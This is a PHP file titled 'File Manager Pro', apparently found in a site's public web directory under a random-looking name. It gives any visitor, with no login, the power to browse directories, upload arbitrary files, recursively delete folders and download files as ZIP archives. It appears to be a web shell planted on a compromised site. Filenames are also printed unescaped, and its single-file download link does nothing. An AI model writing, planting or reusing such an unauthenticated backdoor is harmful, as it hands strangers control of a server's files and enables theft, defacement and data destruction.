File: /home/wbwebdes/domains/surfnrip.com/public_html/ttapp222.php
<?php
/**
* File Manager Pro - Versión Corregida
*/
@ini_set('display_errors', '0'); // Cambiado a 0 por seguridad en producción
@ini_set('log_errors', '1');
error_reporting(E_ALL);
// --- CONFIGURACIÓN DE SESIÓN SEGURA ---
ini_set('session.save_handler', 'files');
$sessionPath = sys_get_temp_dir() . '/php_sessions';
if (!@is_dir($sessionPath)) { @mkdir($sessionPath, 0700, true); }
if (@is_dir($sessionPath) && @is_writable($sessionPath)) { ini_set('session.save_path', $sessionPath); }
session_start();
// Directorio inicial
if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir'])) {
$_SESSION['current_dir'] = realpath(getcwd());
}
// --- FUNCIONES DE APOYO ---
function validatePath($path) {
$realPath = @realpath($path);
return ($realPath && (is_file($realPath) || is_dir($realPath))) ? $realPath : false;
}
function formatFileSize($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' bytes';
}
// --- MANEJO DE ACCIONES ---
$notification = '';
$errorMsg = '';
// 1. Navegación
if (isset($_GET['cd'])) {
$target = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_GET['cd']);
if ($target && is_dir($target)) {
$_SESSION['current_dir'] = $target;
}
}
// 2. Subida de archivos (Fix para el corte del código original)
if (isset($_POST['upload'])) {
$targetFile = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . basename($_FILES["file_to_upload"]["name"]);
if (move_uploaded_file($_FILES["file_to_upload"]["tmp_name"], $targetFile)) {
$notification = "Archivo subido con éxito.";
} else {
$errorMsg = "Error al subir el archivo.";
}
}
// 3. Borrado Masivo
if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) {
foreach ($_POST['selected_items'] as $item) {
$path = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item;
if (is_file($path)) @unlink($path);
elseif (is_dir($path)) {
// Borrado recursivo simple
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($files as $file) {
$file->isDir() ? @rmdir($file->getRealPath()) : @unlink($file->getRealPath());
}
@rmdir($path);
}
}
$notification = "Operación de borrado finalizada.";
}
// 4. Descarga (ZIP)
if (isset($_POST['bulk_download']) && isset($_POST['selected_items'])) {
if (class_exists('ZipArchive')) {
$zipName = 'download_' . time() . '.zip';
$zipPath = sys_get_temp_dir() . '/' . $zipName;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) {
foreach ($_POST['selected_items'] as $item) {
$path = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item;
if (is_file($path)) $zip->addFile($path, $item);
}
$zip->close();
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="'.$zipName.'"');
readfile($zipPath);
@unlink($zipPath);
exit;
}
} else { $errorMsg = "ZipArchive no disponible en este servidor."; }
}
$files = scandir($_SESSION['current_dir']);
?>
<!DOCTYPE html>
<html>
<head>
<title>FileManager Pro</title>
<style>
body { background: #0f0f0f; color: #ccc; font-family: sans-serif; padding: 20px; }
.container { max-width: 1000px; margin: auto; background: #1a1a1a; padding: 20px; border-radius: 8px; }
.alert { padding: 10px; margin-bottom: 10px; border-radius: 4px; }
.success { background: #1b5e20; color: #fff; }
.error { background: #b71c1c; color: #fff; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 12px; border-bottom: 1px solid #333; }
a { color: #4fc3f7; text-decoration: none; }
.btn { background: #333; color: #fff; border: none; padding: 8px 15px; cursor: pointer; border-radius: 4px; }
.btn-del { background: #d32f2f; }
</style>
</head>
<body>
<div class="container">
<h2>Explorador: <?php echo $_SESSION['current_dir']; ?></h2>
<?php if($notification): ?> <div class="alert success"><?php echo $notification; ?></div> <?php endif; ?>
<?php if($errorMsg): ?> <div class="alert error"><?php echo $errorMsg; ?></div> <?php endif; ?>
<div style="margin-bottom: 20px;">
<form method="post" enctype="multipart/form-data" style="display:inline;">
<input type="file" name="file_to_upload">
<button type="submit" name="upload" class="btn">Subir Archivo</button>
</form>
<a href="?cd=.." class="btn" style="float:right;">parent directory ↑</a>
</div>
<form method="post">
<table>
<thead>
<tr>
<th><input type="checkbox" onclick="toggle(this)"></th>
<th>Nombre</th>
<th>Tamaño</th>
<th>Acciones</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): if($file == '.' || $file == '..') continue;
$path = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($path);
?>
<tr>
<td><input type="checkbox" name="selected_items[]" value="<?php echo $file; ?>"></td>
<td>
<?php if($isDir): ?>
<a href="?cd=<?php echo urlencode($file); ?>">📁 <b><?php echo $file; ?></b></a>
<?php else: ?>
📄 <?php echo $file; ?>
<?php endif; ?>
</td>
<td><?php echo $isDir ? '-' : formatFileSize(filesize($path)); ?></td>
<td>
<?php if(!$isDir): ?>
<a href="?download_single=<?php echo urlencode($file); ?>">Descargar</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<br>
<button type="submit" name="bulk_delete" class="btn btn-del" onclick="return confirm('¿Borrar seleccionados?')">Eliminar Seleccionados</button>
<button type="submit" name="bulk_download" class="btn">Descargar ZIP</button>
</form>
</div>
<script>
function toggle(source) {
checkboxes = document.getElementsByName('selected_items[]');
for(var i=0, n=checkboxes.length;i<n;i++) {
checkboxes[i].checked = source.checked;
}
}
</script>
</body>
</html>